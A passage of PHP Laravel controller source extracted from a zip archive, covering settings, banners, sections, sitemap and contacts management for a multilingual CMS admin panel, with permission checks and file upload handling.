$request->file($formFileName2)->move($path, $fileFinalName2); } $formFileName3 = "style_apple"; $fileFinalName3 = ""; if ($request->$formFileName3 != "") { // Delete a style_apple photo if ($Setting->style_apple != "") { File::delete($this->getUploadPath() . $Setting->style_apple); } $fileFinalName3 = time() . rand(1111, 9999) . '.' . $request->file($formFileName3)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName3)->move($path, $fileFinalName3); } $formFileName4 = "style_bg_image"; $fileFinalName4 = ""; if ($request->$formFileName4 != "") { // Delete a style_bg_image photo if ($Setting->style_bg_image != "") { File::delete($this->getUploadPath() . $Setting->style_bg_image); } $fileFinalName4 = time() . rand(1111, 9999) . '.' . $request->file($formFileName4)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName4)->move($path, $fileFinalName4); } $formFileName5 = "style_footer_bg"; $fileFinalName5 = ""; if ($request->$formFileName5 != "") { // Delete a style_footer_bg photo if ($Setting->style_footer_bg != "") { File::delete($this->getUploadPath() . $Setting->style_footer_bg); } $fileFinalName5 = time() . rand(1111, 9999) . '.' . $request->file($formFileName5)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName5)->move($path, $fileFinalName5); } // End of Upload Files if ($fileFinalName != "") { $Setting->style_logo_en = $fileFinalName; } if ($fileFinalNameHe != "") { $Setting->style_logo_he = $fileFinalNameHe; } if ($fileFinalNameAr != "") { $Setting->style_logo_ar = $fileFinalNameAr; } if ($fileFinalName2 != "") { $Setting->style_fav = $fileFinalName2; } if ($fileFinalName3 != "") { $Setting->style_apple = $fileFinalName3; } $Setting->style_color1 = $request->style_color1; $Setting->style_color2 = $request->style_color2; $Setting->style_type = $request->style_type; $Setting->style_bg_type = $request->style_bg_type; $Setting->style_bg_pattern = $request->style_bg_pattern; $Setting->style_bg_color = $request->style_bg_color; if ($fileFinalName4 != "") { $Setting->style_bg_image = $fileFinalName4; } $Setting->style_subscribe = $request->style_subscribe; $Setting->style_footer = $request->style_footer; if ($request->photo_delete == 1) { // Delete style_footer_bg if ($Setting->style_footer_bg != "") { File::delete($this->getUploadPath() . $Setting->style_footer_bg); } $Setting->style_footer_bg = ""; } if ($fileFinalName5 != "") { $Setting->style_footer_bg = $fileFinalName5; } $Setting->style_preload = $request->style_preload; $Setting->updated_by = Auth::user()->id; $Setting->save(); return redirect()->action('SettingsController@edit') ->with('doneMessage', trans('backLang.saveDone')) ->with('styleTab', 'active'); } else { return redirect()->route('adminHome'); } } // update tab of site status public function getUploadPath() { return $this->uploadPath; } // update tab of Style Settings public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } // update tab of social links public function updateSocialLinks(Request $request) { // $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { $Setting->social_link1 = $request->social_link1; $Setting->social_link2 = $request->social_link2; $Setting->social_link3 = $request->social_link3; $Setting->social_link4 = $request->social_link4; $Setting->social_link5 = $request->social_link5; $Setting->social_link6 = $request->social_link6; $Setting->social_link7 = $request->social_link7; $Setting->social_link8 = $request->social_link8; $Setting->social_link9 = $request->social_link9; $Setting->social_link10 = $request->social_link10; $Setting->updated_by = Auth::user()->id; $Setting->save(); return redirect()->action('SettingsController@edit') ->with('doneMessage', trans('backLang.saveDone')) ->with('socialTab', 'active'); } else { return redirect()->route('adminHome'); } } // update tab of contacts public function updateContacts(Request $request) { // $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { $Setting->contact_t1_ar = $request->contact_t1_ar; $Setting->contact_t1_he = $request->contact_t1_he; $Setting->contact_t1_en = $request->contact_t1_en; $Setting->contact_t3 = $request->contact_t3; $Setting->contact_t4 = $request->contact_t4; $Setting->contact_t5 = $request->contact_t5; $Setting->contact_t6 = $request->contact_t6; $Setting->contact_t7_ar = $request->contact_t7_ar; $Setting->contact_t7_he = $request->contact_t7_he; $Setting->contact_t7_en = $request->contact_t7_en; $Setting->updated_by = Auth::user()->id; $Setting->save(); return redirect()->action('SettingsController@edit') ->with('doneMessage', trans('backLang.saveDone')) ->with('contactsTab', 'active'); } else { return redirect()->route('adminHome'); } } } PKVZ^V3CC&Http/Controllers/BannersController.phpnu[middleware('auth'); // Check Permissions if (!@Auth::user()->permissionsGroup->banners_status) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Banners Sections $WebmasterBanners = WebmasterBanner::where('status', '=', '1')->orderby('row_no', 'asc')->get(); if (@Auth::user()->permissionsGroup->view_status) { $Banners = Banner::where('created_by', '=', Auth::user()->id)->orderby('section_id', 'asc')->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } else { $Banners = Banner::orderby('section_id', 'asc')->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } return view("backEnd.banners", compact("Banners", "GeneralWebmasterSections", "WebmasterBanners")); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($sectionId) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Banner Sections Details $WebmasterBanner = WebmasterBanner::find($sectionId); return view("backEnd.banners.create", compact("GeneralWebmasterSections", "WebmasterBanner")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // $this->validate($request, [ 'file2_ar' => 'mimes:mp4,ogv,webm', 'file2_he' => 'mimes:mp4,ogv,webm', 'file2_en' => 'mimes:mp4,ogv,webm', 'file_ar' => 'mimes:png,jpeg,jpg,gif|max:3000', 'file_he' => 'mimes:png,jpeg,jpg,gif|max:3000', 'file_en' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); $next_nor_no = Banner::max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } // Start of Upload Files $formFileName = "file_ar"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } $formFileName = "file_he"; $fileFinalName_he = ""; if ($request->$formFileName != "") { $fileFinalName_he = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_he); } $formFileName = "file_en"; $fileFinalName_en = ""; if ($request->$formFileName != "") { $fileFinalName_en = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_en); } if ($fileFinalName_ar == "") { $formFileName = "file2_ar"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } } if ($fileFinalName_he == "") { $formFileName = "file2_he"; $fileFinalName_he = ""; if ($request->$formFileName != "") { $fileFinalName_he = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_he); } } if ($fileFinalName_en == "") { $formFileName = "file2_en"; $fileFinalName_en = ""; if ($request->$formFileName != "") { $fileFinalName_en = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_en); } } // End of Upload Files $Banner = new Banner; $Banner->row_no = $next_nor_no; $Banner->section_id = $request->section_id; $Banner->title_ar = $request->title_ar; $Banner->title_he = $request->title_he; $Banner->title_en = $request->title_en; $Banner->details_ar = $request->details_ar; $Banner->details_he = $request->details_he; $Banner->details_en = $request->details_en; $Banner->code = $request->code; $Banner->file_ar = $fileFinalName_ar; $Banner->file_he = $fileFinalName_he; $Banner->file_en = $fileFinalName_en; $Banner->icon = $request->icon; $Banner->video_type = $request->video_type; if ($request->video_type == 2) { $Banner->youtube_link = $request->vimeo_link; } else { $Banner->youtube_link = $request->youtube_link; } $Banner->link_url = $request->link_url; $Banner->visits = 0; $Banner->status = 1; $Banner->created_by = Auth::user()->id; $Banner->save(); return redirect()->action('BannersController@index')->with('doneMessage', trans('backLang.addDone')); } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $Banners = Banner::where('created_by', '=', Auth::user()->id)->find($id); } else { $Banners = Banner::find($id); } if (!empty($Banners) ) { //Banner Sections Details $WebmasterBanner = WebmasterBanner::find($Banners->section_id); return view("backEnd.banners.edit", compact("Banners", "GeneralWebmasterSections", "WebmasterBanner")); } else { return redirect()->action('BannersController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // $Banner = Banner::find($id); if (!empty($Banner) ) { $this->validate($request, [ 'file2_ar' => 'mimes:mp4,ogv,webm', 'file2_he' => 'mimes:mp4,ogv,webm', 'file2_en' => 'mimes:mp4,ogv,webm', 'file_ar' => 'mimes:png,jpeg,jpg,gif|max:3000', 'file_he' => 'mimes:png,jpeg,jpg,gif|max:3000', 'file_en' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); // Start of Upload Files $formFileName = "file_ar"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } $formFileName = "file_he"; $fileFinalName_he = ""; if ($request->$formFileName != "") { $fileFinalName_he = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_he); } $formFileName = "file_en"; $fileFinalName_en = ""; if ($request->$formFileName != "") { $fileFinalName_en = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_en); } if ($fileFinalName_ar == "") { $formFileName = "file2_ar"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } } if ($fileFinalName_he == "") { $formFileName = "file2_he"; $fileFinalName_he = ""; if ($request->$formFileName != "") { $fileFinalName_he = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_he); } } if ($fileFinalName_en == "") { $formFileName = "file2_en"; $fileFinalName_en = ""; if ($request->$formFileName != "") { $fileFinalName_en = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_en); } } // End of Upload Files $Banner->section_id = $request->section_id; $Banner->title_ar = $request->title_ar; $Banner->title_he = $request->title_he; $Banner->title_en = $request->title_en; $Banner->details_ar = $request->details_ar; $Banner->details_he = $request->details_he; $Banner->details_en = $request->details_en; $Banner->code = $request->code; if ($fileFinalName_ar != "") { // Delete a banner file if ($Banner->file_ar != "") { File::delete($this->getUploadPath() . $Banner->file_ar); } $Banner->file_ar = $fileFinalName_ar; } if ($fileFinalName_he != "") { // Delete a banner file if ($Banner->file_he != "") { File::delete($this->getUploadPath() . $Banner->file_he); } $Banner->file_he = $fileFinalName_he; } if ($fileFinalName_en != "") { if ($Banner->file_en != "") { File::delete($this->getUploadPath() . $Banner->file_en); } $Banner->file_en = $fileFinalName_en; } $Banner->video_type = $request->video_type; if ($request->video_type == 2) { $Banner->youtube_link = $request->vimeo_link; } else { $Banner->youtube_link = $request->youtube_link; } $Banner->link_url = $request->link_url; $Banner->icon = $request->icon; $Banner->status = $request->status; $Banner->updated_by = Auth::user()->id; $Banner->save(); return redirect()->action('BannersController@edit', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('BannersController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $Banner = Banner::where('created_by', '=', Auth::user()->id)->find($id); } else { $Banner = Banner::find($id); } if (!empty($Banner)) { // Delete a banner file if ($Banner->file_ar != "") { File::delete($this->getUploadPath() . $Banner->file_ar); } if ($Banner->file_he != "") { File::delete($this->getUploadPath() . $Banner->file_he); } if ($Banner->file_en != "") { File::delete($this->getUploadPath() . $Banner->file_en); } $Banner->delete(); return redirect()->action('BannersController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('BannersController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Banner = Banner::find($rowId); if (!empty($Banner) ) { $row_no_val = "row_no_" . $rowId; $Banner->row_no = $request->$row_no_val; $Banner->save(); } } } elseif ($request->action == "activate") { Banner::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Banner::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete banners files $Banners = Banner::wherein('id', $request->ids)->get(); foreach ($Banners as $banner) { if ($banner->file_ar != "") { File::delete($this->getUploadPath() . $banner->file_ar); } if ($banner->file_he != "") { File::delete($this->getUploadPath() . $banner->file_he); } if ($banner->file_en != "") { File::delete($this->getUploadPath() . $banner->file_en); } } Banner::wherein('id', $request->ids) ->delete(); } return redirect()->action('BannersController@index')->with('doneMessage', trans('backLang.saveDone')); } }PKVZ_P5/1/1'Http/Controllers/SectionsController.phpnu[middleware('auth'); } /** * Display a listing of the resource. * * @param \Illuminate\Http\Request $webmasterId * @return \Illuminate\Http\Response */ public function index($webmasterId) { // Check Permissions $data_sections_arr = explode(",", Auth::user()->permissionsGroup->data_sections); if (!in_array($webmasterId, $data_sections_arr)) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Webmaster Section Details $WebmasterSection = WebmasterSection::find($webmasterId); if (@Auth::user()->permissionsGroup->view_status) { $Sections = Section::where('created_by', '=', Auth::user()->id)->where('webmaster_id', '=', $webmasterId)->where('father_id', '=', '0')->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } else { $Sections = Section::where('webmaster_id', '=', $webmasterId)->where('father_id', '=', '0')->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } return view("backEnd.sections", compact("Sections", "GeneralWebmasterSections", "WebmasterSection")); } /** * Show the form for creating a new resource. * * @param \Illuminate\Http\Request $webmasterId * @return \Illuminate\Http\Response */ public function create($webmasterId) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Webmaster Section Details $WebmasterSection = WebmasterSection::find($webmasterId); $fatherSections = Section::where('webmaster_id', '=', $webmasterId)->where('father_id', '=', '0')->orderby('row_no', 'asc')->get(); return view("backEnd.sections.create", compact("GeneralWebmasterSections", "WebmasterSection", "fatherSections")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function store(Request $request, $webmasterId) { // $this->validate($request, [ 'photo' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); $next_nor_no = Section::where('webmaster_id', '=', $webmasterId)->where('father_id', '=', $request->father_id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } // Start of Upload Files $formFileName = "photo"; $fileFinalName = ""; if ($request->$formFileName != "") { $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } // End of Upload Files $Section = new Section; $Section->row_no = $next_nor_no; $Section->title_ar = $request->title_ar; $Section->title_he = $request->title_he; $Section->title_en = $request->title_en; $Section->icon = $request->icon; if ($fileFinalName != "") { $Section->photo = $fileFinalName; } $Section->webmaster_id = $webmasterId; $Section->father_id = $request->father_id; $Section->visits = 0; $Section->status = 1; $Section->created_by = Auth::user()->id; // Meta title $Section->seo_title_ar = $request->title_ar; $Section->seo_title_he = $request->title_he; $Section->seo_title_en = $request->title_en; //URL Slugs $slugs = Helper::URLSlug($request->title_ar, $request->title_en, "category", 0); $Section->seo_url_slug_ar = $slugs['slug_ar']; $Section->seo_url_slug_he = $slugs['slug_he']; $Section->seo_url_slug_en = $slugs['slug_en']; $Section->save(); return redirect()->action('SectionsController@index', $webmasterId)->with('doneMessage', trans('backLang.addDone')); } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function edit($webmasterId, $id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $Sections = Section::where('created_by', '=', Auth::user()->id)->find($id); } else { $Sections = Section::find($id); } if (!empty($Sections) ) { //Section Sections Details $WebmasterSection = WebmasterSection::find($Sections->webmaster_id); $fatherSections = Section::where('webmaster_id', '=', $webmasterId)->where('id', '!=', $id)->where('father_id', '=', '0')->orderby('row_no', 'asc')->get(); return view("backEnd.sections.edit", compact("Sections", "GeneralWebmasterSections", "WebmasterSection", "fatherSections")); } else { return redirect()->action('SectionsController@index', $webmasterId); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function update(Request $request, $webmasterId, $id) { // $Section = Section::find($id); if (!empty($Section) ) { $this->validate($request, [ 'photo' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); // Start of Upload Files $formFileName = "photo"; $fileFinalName = ""; if ($request->$formFileName != "") { // Delete a Section photo if ($Section->photo != "") { File::delete($this->getUploadPath() . $Section->photo); } $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } // End of Upload Files $Section->title_ar = $request->title_ar; $Section->title_he = $request->title_he; $Section->title_en = $request->title_en; $Section->icon = $request->icon; if ($request->photo_delete == 1) { // Delete photo if ($Section->photo != "") { File::delete($this->getUploadPath() . $Section->photo); } $Section->photo = ""; } if ($fileFinalName != "") { $Section->photo = $fileFinalName; } $Section->father_id = $request->father_id; $Section->status = $request->status; $Section->updated_by = Auth::user()->id; $Section->save(); return redirect()->action('SectionsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('SectionsController@index', $webmasterId); } } public function seo(Request $request, $webmasterId, $id) { // $Section = Section::find($id); if (!empty($Section) ) { $Section->seo_title_ar = $request->seo_title_ar; $Section->seo_title_he = $request->seo_title_he; $Section->seo_title_en = $request->seo_title_en; $Section->seo_description_ar = $request->seo_description_ar; $Section->seo_description_he = $request->seo_description_he; $Section->seo_description_en = $request->seo_description_en; $Section->seo_keywords_ar = $request->seo_keywords_ar; $Section->seo_keywords_he = $request->seo_keywords_he; $Section->seo_keywords_en = $request->seo_keywords_en; $Section->updated_by = Auth::user()->id; //URL Slugs $slugs = Helper::URLSlug($request->seo_url_slug_ar, $request->seo_url_slug_he,$request->seo_url_slug_en, "category", $id); $Section->seo_url_slug_ar = $slugs['slug_ar']; $Section->seo_url_slug_he = $slugs['slug_he']; $Section->seo_url_slug_en = $slugs['slug_en']; $Section->save(); return redirect()->action('SectionsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'seo'); } else { return redirect()->action('SectionsController@index', $webmasterId); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function destroy($webmasterId, $id) { // if (@Auth::user()->permissionsGroup->view_status) { $Sections = Section::where('created_by', '=', Auth::user()->id)->find($id); } else { $Section = Section::find($id); } if (!empty($Section) ) { // Delete a Section photo if ($Section->photo != "") { File::delete($this->getUploadPath() . $Section->photo); } Section::where('father_id', $Section->id)->delete(); $Section->delete(); return redirect()->action('SectionsController@index', $webmasterId)->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('SectionsController@index', $webmasterId); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @return \Illuminate\Http\Response */ public function updateAll(Request $request, $webmasterId) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Section = Section::find($rowId); if (!empty($Section) ) { $row_no_val = "row_no_" . $rowId; $Section->row_no = $request->$row_no_val; $Section->save(); } } } elseif ($request->action == "activate") { Section::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Section::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Delete Sections photo $Sections = Section::wherein('id', $request->ids)->get(); foreach ($Sections as $Section) { if ($Section->photo != "") { File::delete($this->getUploadPath() . $Section->photo); } } Section::wherein('father_id', $request->ids)->delete(); Section::wherein('id', $request->ids) ->delete(); } return redirect()->action('SectionsController@index', $webmasterId)->with('doneMessage', trans('backLang.saveDone')); } } PKVZdHttp/Controllers/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZnCt,,&Http/Controllers/SiteMapController.phpnu[ $url_link daily 0.9 "; // Main Site Sections $WebmasterSections = WebmasterSection::where("status", 1)->orderby('row_no', 'asc')->get(); foreach ($WebmasterSections as $WebmasterSection) { if ($WebmasterSection->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $WebmasterSection->$slug_var); } else { $url_link = url($WebmasterSection->$slug_var); } } else { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $WebmasterSection->name); } else { $url_link = url($WebmasterSection->name); } } $url_time = date("Y-m-d", strtotime($WebmasterSection->updated_at)); $SiteMapDetails .= " $url_link $url_time monthly 0.8 "; } // Categories $Sections = Section::where("status", 1)->orderby('row_no', 'asc')->get(); foreach ($Sections as $Section) { if ($Section->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $Section->$slug_var); } else { $url_link = url($Section->$slug_var); } } else if($Section->webmasterSection!="") { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = route('FrontendTopicsByCatWithLang', ["lang" => $lang, "section" => $Section->webmasterSection->name, "cat" => $Section->id]); } else { $url_link = route('FrontendTopicsByCat', ["section" => $Section->webmasterSection->name, "cat" => $Section->id]); } } $url_time = date("Y-m-d", strtotime($Section->updated_at)); $SiteMapDetails .= " $url_link $url_time weekly 0.8 "; } // Topics // about if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "about"); } else { $url_link = url("about"); } $SiteMapDetails .= " $url_link daily 0.9 "; // contact if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "contact"); } else { $url_link = url("contact"); } $SiteMapDetails .= " $url_link daily 0.9 "; // privacy if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "privacy"); } else { $url_link = url("privacy"); } $SiteMapDetails .= " $url_link daily 0.9 "; // terms if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "terms"); } else { $url_link = url("terms"); } $SiteMapDetails .= " $url_link daily 0.9 "; // All Other Topics $Topics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); foreach ($Topics as $Topic) { if ($Topic->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $Topic->$slug_var); } else { $url_link = url($Topic->$slug_var); } } else if($Topic->webmasterSection!="") { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = route('FrontendTopicByLang', ["lang" => $lang, "section" => $Topic->webmasterSection->name, "id" => $Topic->id]); } else { $url_link = route('FrontendTopic', ["section" => $Topic->webmasterSection->name, "id" => $Topic->id]); } } $url_time = date("Y-m-d", strtotime($Topic->updated_at)); $SiteMapDetails .= " $url_link $url_time daily 0.8 "; } return response()->view("frontEnd.sitemap", compact("SiteMapDetails"))->header('Content-Type', 'text/xml'); } public function siteMapByLang($lang = "") { if ($lang == "") { $lang = trans('backLang.boxCode'); } \Session::put('locale', $lang); $SiteMapDetails = ""; $slug_var = "seo_url_slug_" . $lang; // HOME $url_link = url(""); $SiteMapDetails .= " $url_link daily 0.9 "; // Main Site Sections $WebmasterSections = WebmasterSection::where("status", 1)->orderby('row_no', 'asc')->get(); foreach ($WebmasterSections as $WebmasterSection) { if ($WebmasterSection->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $WebmasterSection->$slug_var); } else { $url_link = url($WebmasterSection->$slug_var); } } else { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $WebmasterSection->name); } else { $url_link = url($WebmasterSection->name); } } //$url_time = date(DATE_ISO8601, strtotime($WebmasterSection->updated_at)); $url_time = date("Y-m-d", strtotime($WebmasterSection->updated_at)); $SiteMapDetails .= " $url_link $url_time monthly 0.8 "; } // Categories $Sections = Section::where("status", 1)->orderby('row_no', 'asc')->get(); foreach ($Sections as $Section) { if ($Section->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $Section->$slug_var); } else { $url_link = url($Section->$slug_var); } } else if($Section->webmasterSection!="") { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = route('FrontendTopicsByCatWithLang', ["lang" => $lang, "section" => $Section->webmasterSection->name, "cat" => $Section->id]); } else { $url_link = route('FrontendTopicsByCat', ["section" => $Section->webmasterSection->name, "cat" => $Section->id]); } } $url_time = date("Y-m-d", strtotime($WebmasterSection->updated_at)); $SiteMapDetails .= " $url_link $url_time weekly 0.8 "; } // Topics // about if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "about"); } else { $url_link = url("about"); } $SiteMapDetails .= " $url_link daily 0.9 "; // contact if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "contact"); } else { $url_link = url("contact"); } $SiteMapDetails .= " $url_link daily 0.9 "; // privacy if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "privacy"); } else { $url_link = url("privacy"); } $SiteMapDetails .= " $url_link daily 0.9 "; // terms if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . "terms"); } else { $url_link = url("terms"); } $SiteMapDetails .= " $url_link daily 0.9 "; // All Other Topics $Topics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); foreach ($Topics as $Topic) { if ($Topic->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = url("$lang/" . $Topic->$slug_var); } else { $url_link = url($Topic->$slug_var); } } else if($Topic->webmasterSection!="") { if ($lang != env('DEFAULT_LANGUAGE')) { $url_link = route('FrontendTopicByLang', ["lang" => $lang, "section" => $Topic->webmasterSection->name, "id" => $Topic->id]); } else { $url_link = route('FrontendTopic', ["section" => $Topic->webmasterSection->name, "id" => $Topic->id]); } } $url_time = date("Y-m-d", strtotime($Topic->updated_at)); $SiteMapDetails .= " $url_link $url_time daily 0.8 "; } return response()->view("frontEnd.sitemap", compact("SiteMapDetails"))->header('Content-Type', 'text/xml'); } } PKVZf ;hII'Http/Controllers/ContactsController.phpnu[middleware('auth'); // Check Permissions if (!@Auth::user()->permissionsGroup->newsletter_status) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * int $group_id * @return \Illuminate\Http\Response */ public function index($group_id = null) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of groups if 